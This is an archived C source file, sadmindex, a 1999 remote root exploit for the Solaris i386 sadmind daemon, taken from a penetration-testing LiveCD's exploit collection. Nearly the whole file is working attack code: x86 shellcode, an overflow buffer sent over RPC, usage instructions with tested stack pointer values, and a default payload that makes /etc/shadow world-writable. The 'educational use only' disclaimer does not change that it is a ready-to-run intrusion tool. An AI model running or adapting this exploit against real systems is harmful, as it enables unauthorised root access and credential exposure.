home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / sadminx86.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  17KB  |  501 lines

  1. /**
  2. ***  sadmindex - i386 Solaris remote root exploit for /usr/sbin/sadmind
  3. ***
  4. ***  Tested and confirmed under Solaris 2.6 and 7.0 (i386)
  5. ***
  6. ***  Usage:  % sadmindex -h hostname -c command -s sp -j junk [-o offset] \
  7. ***                      [-a alignment] [-p]
  8. ***
  9. ***  where hostname is the hostname of the machine running the vulnerable
  10. ***  system administration daemon, command is the command to run as root
  11. ***  on the vulnerable machine, sp is the %esp stack pointer value, junk
  12. ***  is the number of bytes needed to fill the target stack frame (which
  13. ***  should be a multiple of 4), offset is the number of bytes to add to
  14. ***  sp to calculate the desired return address, and alignment is the
  15. ***  number of bytes needed to correctly align the contents of the exploit
  16. ***  buffer.
  17. ***
  18. ***  If run with a -p option, the exploit will only "ping" sadmind on the
  19. ***  remote machine to start it running.  The daemon will be otherwise
  20. ***  untouched.  Since pinging the daemon does not require an exploit
  21. ***  buffer to be constructed, you can safely omit the -c, -s, and -j
  22. ***  options if you use -p.
  23. ***
  24. ***  When specifying a command, be sure to pass it to the exploit as a
  25. ***  single argument, namely enclose the command string in quotes if it
  26. ***  contains spaces or other special shell delimiter characters.  The
  27. ***  exploit will pass this string without modification to /bin/sh -c on
  28. ***  the remote machine, so any normally allowed Bourne shell syntax is
  29. ***  also allowed in the command string.  The command string and the
  30. ***  assembly code to run it must fit inside a buffer of 512 bytes, so
  31. ***  the command string has a maximum length of about 390 bytes or so.
  32. ***
  33. ***  I have provided confirmed %esp stack pointer values for Solaris on a
  34. ***  Pentium PC system running Solaris 2.6 5/98 and on a Pentium PC system
  35. ***  running Solaris 7.0 10/98.  On each system, sadmind was started from
  36. ***  an instance of inetd that was started at boot time by init.  There
  37. ***  is a fair possibility that the demonstration values will not work
  38. ***  due to differing sets of environment variables, for example if the
  39. ***  the running inetd on the remote machine was started manually from an
  40. ***  interactive shell.  If you find that the sample value for %esp does
  41. ***  not work, try adjusting the value by -2048 to 2048 from the sample in
  42. ***  increments of 32 for starters.  The junk parameter seems to vary from
  43. ***  version to version, but the sample values should be appropriate for
  44. ***  the listed versions and are not likely to need adjustment.  The offset
  45. ***  parameter and the alignment parameter have default values that will be
  46. ***  used if no overriding values are specified on the command line.  The
  47. ***  default values should be suitable and it will not likely be necessary
  48. ***  to override them.
  49. ***
  50. ***  Demonstration values for i386 Solaris:
  51. ***
  52. ***  (2.6)  sadmindex -h host.example.com -c "touch HEH" -s 0x080418ec -j 512
  53. ***  (7.0)  sadmindex -h host.example.com -c "touch HEH" -s 0x08041798 -j 536
  54. ***
  55. ***  THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
  56. ***
  57. ***  Cheez Whiz
  58. ***  cheezbeast@hotmail.com
  59. ***
  60. ***  June 24, 1999
  61. **/
  62.  
  63. #include <stdlib.h>
  64. #include <stdio.h>
  65. #include <unistd.h>
  66. #include <string.h>
  67. #include <rpc/rpc.h>
  68.  
  69. #define NETMGT_PROG 100232
  70. #define NETMGT_VERS 10
  71. #define NETMGT_PROC_PING 0
  72. #define NETMGT_PROC_SERVICE 1
  73.  
  74. #define NETMGT_UDP_PING_TIMEOUT 30
  75. #define NETMGT_UDP_PING_RETRY_TIMEOUT 5
  76. #define NETMGT_UDP_SERVICE_TIMEOUT 1
  77. #define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2
  78.  
  79. #define NETMGT_HEADER_TYPE 6
  80. #define NETMGT_ARG_INT 3
  81. #define NETMGT_ARG_STRING 9
  82. #define NETMGT_ENDOFARGS "netmgt_endofargs"
  83.  
  84. #define ADM_FW_VERSION "ADM_FW_VERSION"
  85. #define ADM_CLIENT_DOMAIN "ADM_CLIENT_DOMAIN"
  86. #define ADM_FENCE "ADM_FENCE"
  87.  
  88. #define BUFLEN 1056        /* 548+8+512-12 */
  89. #define ADDRLEN    8
  90. #define LEN 76
  91.  
  92. /* #define JUNK 512 */        /* 524-12 (Solaris 2.6) */
  93. /* #define JUNK 536 */        /* 548-12 (Solaris 7.0) */
  94. #define OFFSET 572        /* default offset */
  95. #define ALIGNMENT 0        /* default alignment */
  96.  
  97. #define NOP 0x90
  98.  
  99. char shell[] =
  100. /*   0 */ "\xeb\x45"                         /* jmp springboard       */
  101. /* syscall:                                                           */
  102. /*   2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
  103. /*   9 */ "\xc3"                             /* ret                   */
  104. /* start:                                                             */
  105. /*  10 */ "\x5e"                             /* popl %esi             */
  106. /*  11 */ "\x31\xc0"                         /* xor %eax,%eax         */
  107. /*  13 */ "\x89\x46\xb7"                     /* movl %eax,-0x49(%esi) */
  108. /*  16 */ "\x88\x46\xbc"                     /* movb %al,-0x44(%esi)  */
  109. /* execve:                                                            */
  110. /*  19 */ "\x31\xc0"                         /* xor %eax,%eax         */
  111. /*  21 */ "\x50"                             /* pushl %eax            */
  112. /*  22 */ "\x56"                             /* pushl %esi            */
  113. /*  23 */ "\x8b\x1e"                         /* movl (%esi),%ebx      */
  114. /*  25 */ "\xf7\xdb"                         /* negl %ebx             */
  115. /*  27 */ "\x89\xf7"                         /* movl %esi,%edi        */
  116. /*  29 */ "\x83\xc7\x10"                     /* addl $0x10,%edi       */
  117. /*  32 */ "\x57"                             /* pushl %edi            */
  118. /*  33 */ "\x89\x3e"                         /* movl %edi,(%esi)      */
  119. /*  35 */ "\x83\xc7\x08"                     /* addl $0x8,%edi        */
  120. /*  38 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
  121. /*  41 */ "\x89\x7e\x04"                     /* movl %edi,0x4(%esi)   */
  122. /*  44 */ "\x83\xc7\x03"                     /* addl $0x3,%edi        */
  123. /*  47 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
  124. /*  50 */ "\x89\x7e\x08"                     /* movl %edi,0x8(%esi)   */
  125. /*  53 */ "\x01\xdf"                         /* addl %ebx,%edi        */
  126. /*  55 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
  127. /*  58 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
  128. /*  61 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
  129. /*  63 */ "\xe8\xbe\xff\xff\xff"             /* call syscall          */
  130. /*  68 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
  131. /* springboard:                                                       */
  132. /*  71 */ "\xe8\xbe\xff\xff\xff"             /* call start            */
  133. /* data:                                                              */
  134. /*  76 */ "\xff\xff\xff\xff"                 /* DATA                  */
  135. /*  80 */ "\xff\xff\xff\xff"                 /* DATA                  */
  136. /*  84 */ "\xff\xff\xff\xff"                 /* DATA                  */
  137. /*  88 */ "\xff\xff\xff\xff"                 /* DATA                  */
  138. /*  92 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
  139. /* 100 */ "\x2d\x63\xff";                    /* DATA                  */
  140.  
  141. extern char *optarg;
  142.  
  143. struct nm_send_header {
  144.     struct timeval timeval1;
  145.     struct timeval timeval2;
  146.     struct timeval timeval3;
  147.     unsigned int uint1;
  148.     unsigned int uint2;
  149.     unsigned int uint3;
  150.     unsigned int uint4;
  151.     unsigned int uint5;
  152.     struct in_addr inaddr1;
  153.     struct in_addr inaddr2;
  154.     unsigned long ulong1;
  155.     unsigned long ulong2;
  156.     struct in_addr inaddr3;
  157.     unsigned long ulong3;
  158.     unsigned long ulong4;
  159.     unsigned long ulong5;
  160.     struct timeval timeval4;
  161.     unsigned int uint6;
  162.     struct timeval timeval5;
  163.     char *string1;
  164.     char *string2;
  165.     char *string3;
  166.     unsigned int uint7;
  167. };
  168.  
  169. struct nm_send_arg_int {
  170.     char *string1;
  171.     unsigned int uint1;
  172.     unsigned int uint2;
  173.     int int1;
  174.     unsigned int uint3;
  175.     unsigned int uint4;
  176. };
  177.  
  178. struct nm_send_arg_string {
  179.     char *string1;
  180.     unsigned int uint1;
  181.     unsigned int uint2;
  182.     char *string2;
  183.     unsigned int uint3;
  184.     unsigned int uint4;
  185. };
  186.  
  187. struct nm_send_footer {
  188.     char *string1;
  189. };
  190.  
  191. struct nm_send {
  192.     struct nm_send_header header;
  193.     struct nm_send_arg_int version;
  194.     struct nm_send_arg_string string;
  195.     struct nm_send_arg_int fence;
  196.     struct nm_send_footer footer;
  197. };
  198.  
  199. struct nm_reply {
  200.     unsigned int uint1;
  201.     unsigned int uint2;
  202.     char *string1;
  203. };
  204.  
  205. bool_t
  206. xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
  207. {
  208.     char *addr;
  209.     size_t size = sizeof(struct in_addr);
  210.  
  211.     if (!xdr_long(xdrs, &objp->timeval1.tv_sec))
  212.     return (FALSE);
  213.     if (!xdr_long(xdrs, &objp->timeval1.tv_usec))
  214.     return (FALSE);
  215.     if (!xdr_long(xdrs, &objp->timeval2.tv_sec))
  216.     return (FALSE);
  217.     if (!xdr_long(xdrs, &objp->timeval2.tv_usec))
  218.     return (FALSE);
  219.     if (!xdr_long(xdrs, &objp->timeval3.tv_sec))
  220.     return (FALSE);
  221.     if (!xdr_long(xdrs, &objp->timeval3.tv_usec))
  222.     return (FALSE);
  223.     if (!xdr_u_int(xdrs, &objp->uint1))
  224.     return (FALSE);
  225.     if (!xdr_u_int(xdrs, &objp->uint2))
  226.     return (FALSE);
  227.     if (!xdr_u_int(xdrs, &objp->uint3))
  228.     return (FALSE);
  229.     if (!xdr_u_int(xdrs, &objp->uint4))
  230.     return (FALSE);
  231.     if (!xdr_u_int(xdrs, &objp->uint5))
  232.     return (FALSE);
  233.     addr = (char *) &objp->inaddr1.s_addr;
  234.     if (!xdr_bytes(xdrs, &addr, &size, size))
  235.     return (FALSE);
  236.     addr = (char *) &objp->inaddr2.s_addr;
  237.     if (!xdr_bytes(xdrs, &addr, &size, size))
  238.     return (FALSE);
  239.     if (!xdr_u_long(xdrs, &objp->ulong1))
  240.     return (FALSE);
  241.     if (!xdr_u_long(xdrs, &objp->ulong2))
  242.     return (FALSE);
  243.     addr = (char *) &objp->inaddr3.s_addr;
  244.     if (!xdr_bytes(xdrs, &addr, &size, size))
  245.     return (FALSE);
  246.     if (!xdr_u_long(xdrs, &objp->ulong3))
  247.     return (FALSE);
  248.     if (!xdr_u_long(xdrs, &objp->ulong4))
  249.     return (FALSE);
  250.     if (!xdr_u_long(xdrs, &objp->ulong5))
  251.     return (FALSE);
  252.     if (!xdr_long(xdrs, &objp->timeval4.tv_sec))
  253.     return (FALSE);
  254.     if (!xdr_long(xdrs, &objp->timeval4.tv_usec))
  255.     return (FALSE);
  256.     if (!xdr_u_int(xdrs, &objp->uint6))
  257.     return (FALSE);
  258.     if (!xdr_long(xdrs, &objp->timeval5.tv_sec))
  259.     return (FALSE);
  260.     if (!xdr_long(xdrs, &objp->timeval5.tv_usec))
  261.     return (FALSE);
  262.     if (!xdr_wrapstring(xdrs, &objp->string1))
  263.     return (FALSE);
  264.     if (!xdr_wrapstring(xdrs, &objp->string2))
  265.     return (FALSE);
  266.     if (!xdr_wrapstring(xdrs, &objp->string3))
  267.     return (FALSE);
  268.     if (!xdr_u_int(xdrs, &objp->uint7))
  269.     return (FALSE);
  270.     return (TRUE);
  271. }
  272.  
  273. bool_t
  274. xdr_nm_send_arg_int(XDR *xdrs, struct nm_send_arg_int *objp)
  275. {
  276.     if (!xdr_wrapstring(xdrs, &objp->string1))
  277.     return (FALSE);
  278.     if (!xdr_u_int(xdrs, &objp->uint1))
  279.     return (FALSE);
  280.     if (!xdr_u_int(xdrs, &objp->uint2))
  281.     return (FALSE);
  282.     if (!xdr_int(xdrs, &objp->int1))
  283.     return (FALSE);
  284.     if (!xdr_u_int(xdrs, &objp->uint3))
  285.     return (FALSE);
  286.     if (!xdr_u_int(xdrs, &objp->uint4))
  287.     return (FALSE);
  288.     return (TRUE);
  289. }
  290.  
  291. bool_t
  292. xdr_nm_send_arg_string(XDR *xdrs, struct nm_send_arg_string *objp)
  293. {
  294.     if (!xdr_wrapstring(xdrs, &objp->string1))
  295.     return (FALSE);
  296.     if (!xdr_u_int(xdrs, &objp->uint1))
  297.     return (FALSE);
  298.     if (!xdr_u_int(xdrs, &objp->uint2))
  299.     return (FALSE);
  300.     if (!xdr_wrapstring(xdrs, &objp->string2))
  301.     return (FALSE);
  302.     if (!xdr_u_int(xdrs, &objp->uint3))
  303.     return (FALSE);
  304.     if (!xdr_u_int(xdrs, &objp->uint4))
  305.     return (FALSE);
  306.     return (TRUE);
  307. }
  308.  
  309. bool_t
  310. xdr_nm_send_footer(XDR *xdrs, struct nm_send_footer *objp)
  311. {
  312.     if (!xdr_wrapstring(xdrs, &objp->string1))
  313.     return (FALSE);
  314.     return (TRUE);
  315. }
  316.  
  317. bool_t
  318. xdr_nm_send(XDR *xdrs, struct nm_send *objp)
  319. {
  320.     if (!xdr_nm_send_header(xdrs, &objp->header))
  321.     return (FALSE);
  322.     if (!xdr_nm_send_arg_int(xdrs, &objp->version))
  323.     return (FALSE);
  324.     if (!xdr_nm_send_arg_string(xdrs, &objp->string))
  325.     return (FALSE);
  326.     if (!xdr_nm_send_arg_int(xdrs, &objp->fence))
  327.     return (FALSE);
  328.     if (!xdr_nm_send_footer(xdrs, &objp->footer))
  329.     return (FALSE);
  330.     return (TRUE);
  331. }
  332.  
  333. bool_t
  334. xdr_nm_reply(XDR *xdrs, struct nm_reply *objp)
  335. {
  336.     if (!xdr_u_int(xdrs, &objp->uint1))
  337.     return (FALSE);
  338.     if (!xdr_u_int(xdrs, &objp->uint2))
  339.     return (FALSE);
  340.     if (!xdr_wrapstring(xdrs, &objp->string1))
  341.     return (FALSE);
  342.     return (TRUE);
  343. }
  344.  
  345. int
  346. main(int argc, char *argv[])
  347. {
  348.     CLIENT *cl;
  349.     struct nm_send send;
  350.     struct nm_reply reply;
  351.     struct timeval tm;
  352.     enum clnt_stat stat;
  353.     int c, i, len, slen, clen;
  354.     char *program, *cp, buf[BUFLEN+1];
  355.     char *hostname, *command;
  356.     int junk = 0, offset, alignment, pinging = 0;
  357.     unsigned long int sp = 0, addr;
  358.  
  359.     program = argv[0];
  360.     hostname = "localhost";
  361.     command = "chmod 666 /etc/shadow";
  362.     offset = OFFSET; alignment = ALIGNMENT;
  363.     while ((c = getopt(argc, argv, "h:c:s:j:o:a:p")) != EOF) {
  364.     switch (c) {
  365.     case 'h':
  366.         hostname = optarg;
  367.         break;
  368.     case 'c':
  369.         command = optarg; 
  370.         break;
  371.     case 's':
  372.         sp = strtoul(optarg, NULL, 0);
  373.         break;
  374.     case 'j':
  375.         junk = (int) strtol(optarg, NULL, 0);
  376.         break;
  377.     case 'o':
  378.         offset = (int) strtol(optarg, NULL, 0);
  379.         break;
  380.     case 'a':
  381.         alignment = (int) strtol(optarg, NULL, 0);
  382.         break;
  383.     case 'p':
  384.         pinging = 1;
  385.         break;
  386.     default:
  387.         fprintf(stderr, "usage: %s -h hostname -c command -s sp -j junk "
  388.             "[-o offset] [-a alignment] [-p]\n", program);
  389.         exit(1);
  390.         break;
  391.     }
  392.     }
  393.     memset(buf, NOP, BUFLEN);
  394.     junk &= 0xfffffffc;
  395.     for (i = 0, cp = buf + alignment; i < junk / 4; i++) {
  396.     *cp++ = (sp >>  0) & 0xff;
  397.     *cp++ = (sp >>  8) & 0xff;
  398.     *cp++ = (sp >> 16) & 0xff;
  399.     *cp++ = (sp >> 24) & 0xff;
  400.     }
  401.     addr = sp + offset;
  402.     for (i = 0; i < ADDRLEN / 4; i++) {
  403.     *cp++ = (addr >>  0) & 0xff;
  404.     *cp++ = (addr >>  8) & 0xff;
  405.     *cp++ = (addr >> 16) & 0xff;
  406.     *cp++ = (addr >> 24) & 0xff;
  407.     }
  408.     slen = strlen(shell); clen = strlen(command);
  409.     len = clen; len++; len = -len;
  410.     shell[LEN+0] = (len >>  0) & 0xff;
  411.     shell[LEN+1] = (len >>  8) & 0xff;
  412.     shell[LEN+2] = (len >> 16) & 0xff;
  413.     shell[LEN+3] = (len >> 24) & 0xff;
  414.     cp = buf + BUFLEN - 1 - clen - slen;
  415.     memcpy(cp, shell, slen); cp += slen;
  416.     memcpy(cp, command, clen); cp += clen;
  417.     *cp = '\xff';
  418.     buf[BUFLEN] = '\0';
  419.     memset(&send, 0, sizeof(struct nm_send));
  420.     send.header.uint2 = NETMGT_HEADER_TYPE;
  421.     send.header.string1 = "";
  422.     send.header.string2 = "";
  423.     send.header.string3 = "";
  424.     send.header.uint7 =
  425.     strlen(ADM_FW_VERSION) + 1 +
  426.     (4 * sizeof(unsigned int)) + sizeof(int) +
  427.     strlen(ADM_CLIENT_DOMAIN) + 1 +
  428.     (4 * sizeof(unsigned int)) + strlen(buf) + 1 +
  429.     strlen(ADM_FENCE) + 1 +
  430.     (4 * sizeof(unsigned int)) + sizeof(int) +
  431.     strlen(NETMGT_ENDOFARGS) + 1;
  432.     send.version.string1 = ADM_FW_VERSION;
  433.     send.version.uint1 = NETMGT_ARG_INT;
  434.     send.version.uint2 = sizeof(int);
  435.     send.version.int1 = 1;
  436.     send.string.string1 = ADM_CLIENT_DOMAIN;
  437.     send.string.uint1 = NETMGT_ARG_STRING;
  438.     send.string.uint2 = strlen(buf);
  439.     send.string.string2 = buf;
  440.     send.fence.string1 = ADM_FENCE;
  441.     send.fence.uint1 = NETMGT_ARG_INT;
  442.     send.fence.uint2 = sizeof(int);
  443.     send.fence.int1 = 666;
  444.     send.footer.string1 = NETMGT_ENDOFARGS;
  445.     cl = clnt_create(hostname, NETMGT_PROG, NETMGT_VERS, "udp");
  446.     if (cl == NULL) {
  447.     clnt_pcreateerror("clnt_create");
  448.     exit(1);
  449.     }
  450.     cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
  451.     if (!pinging) {
  452.     fprintf(stdout,
  453.         "%%esp 0x%08lx offset %d --> return address 0x%08lx [%d+%d]\n",
  454.         sp, offset, addr, alignment, junk);
  455.     tm.tv_sec = NETMGT_UDP_SERVICE_TIMEOUT; tm.tv_usec = 0;
  456.     if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) {
  457.         fprintf(stderr, "exploit failed; unable to set timeout\n");
  458.         exit(1);
  459.     }
  460.     tm.tv_sec = NETMGT_UDP_SERVICE_RETRY_TIMEOUT; tm.tv_usec = 0;
  461.     if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) {
  462.         fprintf(stderr, "exploit failed; unable to set timeout\n");
  463.         exit(1);
  464.     }
  465.     stat = clnt_call(cl, NETMGT_PROC_SERVICE,
  466.              xdr_nm_send, (caddr_t) &send,
  467.              xdr_nm_reply, (caddr_t) &reply, tm);
  468.     if (stat != RPC_SUCCESS) {
  469.         clnt_perror(cl, "clnt_call");
  470.         fprintf(stdout, "now check if exploit worked; "
  471.             "RPC failure was expected\n");
  472.         exit(0);
  473.     }
  474.     fprintf(stderr, "exploit failed; "
  475.         "RPC succeeded and returned { %u, %u, \"%s\" }\n",
  476.         reply.uint1, reply.uint2, reply.string1);
  477.     clnt_destroy(cl);
  478.     exit(1);
  479.     } else {
  480.     tm.tv_sec = NETMGT_UDP_PING_TIMEOUT; tm.tv_usec = 0;
  481.     if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) {
  482.         fprintf(stderr, "exploit failed; unable to set timeout\n");
  483.         exit(1);
  484.     }
  485.     tm.tv_sec = NETMGT_UDP_PING_RETRY_TIMEOUT; tm.tv_usec = 0;
  486.     if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) {
  487.         fprintf(stderr, "exploit failed; unable to set timeout\n");
  488.         exit(1);
  489.     }
  490.     stat = clnt_call(cl, NETMGT_PROC_PING,
  491.              xdr_void, NULL,
  492.              xdr_void, NULL, tm);
  493.     if (stat != RPC_SUCCESS) {
  494.         clnt_perror(cl, "clnt_call");
  495.         exit(1);
  496.     }
  497.     clnt_destroy(cl);
  498.     exit(0);
  499.     }
  500. }
  501.